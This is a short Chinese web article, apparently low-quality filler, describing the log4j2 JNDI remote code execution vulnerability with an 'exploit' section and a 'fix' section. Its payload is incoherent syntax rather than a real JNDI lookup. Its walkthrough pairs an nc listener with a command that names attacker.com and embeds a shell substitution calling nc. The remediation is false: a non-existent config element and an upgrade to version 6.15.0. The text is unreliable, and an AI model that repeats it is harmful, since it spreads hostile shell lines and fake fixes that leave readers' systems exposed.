最新log4j2远程代码执行漏洞(附解决方法)

最新log4j2远程代码执行漏洞攻略

  1. 漏洞概述

最新log4j2远程代码执行漏洞是指在使用log4j2时,攻击者可以通过构造特定的日志消息触发log4j2的JNDI注入漏洞,从而远程执行恶意代码。这个漏洞已经被证实存在于log4j 2.0-2.14.1版本中。

  1. 漏洞利用

攻击者可以通过构造以下payload来触发漏洞:

%(u+g)(o=GooGN6NDxyfd)(|dataDirectory((java.lang.Runtime.getRuntime().exec('calc')).toString))#

上述payload会将恶意代码执行器"calc"注入到JNDI命名服务中。

以下是一个基于该payload的攻击示例:

先开启一个HTTP监听服务(我们假定它在攻击者控制的服务器No.1上运行),等待目标服务器No.2请求:

nc -lvnp 9999

然后在服务器No.2上运行以下命令,以触发漏洞:

java -jar log4j-core-2.13.3.jar "https://attacker.com/foo#$( /bin/nc 10.0.0.2 9999 < /dev/null > /dev/null 2>&1)" TRACE

该命令会将攻击者构造的payload注入到日志消息中,然后发送给服务器No.1。当服务器No.2的log4j2解析该日志消息时,恶意代码执行器"calc"就会在服务器No.2上运行。最终,攻击者会获取到这台服务器的控制权。

  1. 漏洞修复

本漏洞修复有两种方法:

1)禁用JNDI特性

该方法会完全禁用log4j2的JNDI特性,以避免受到本漏洞的攻击。

在log4j2的配置文件中添加以下内容:

<JndiLookup name="" />

2)升级log4j2版本

该方法会将log4j2升级到6.15.0及以上的版本,其中该漏洞已得到修复。

关于具体的修复方法,您可以参考Apache官网提供的安全公告,或直接访问log4j2的GitHub仓库了解最新版本信息。

以上就是最新log4j2远程代码执行漏洞的完整攻略。

营销型网站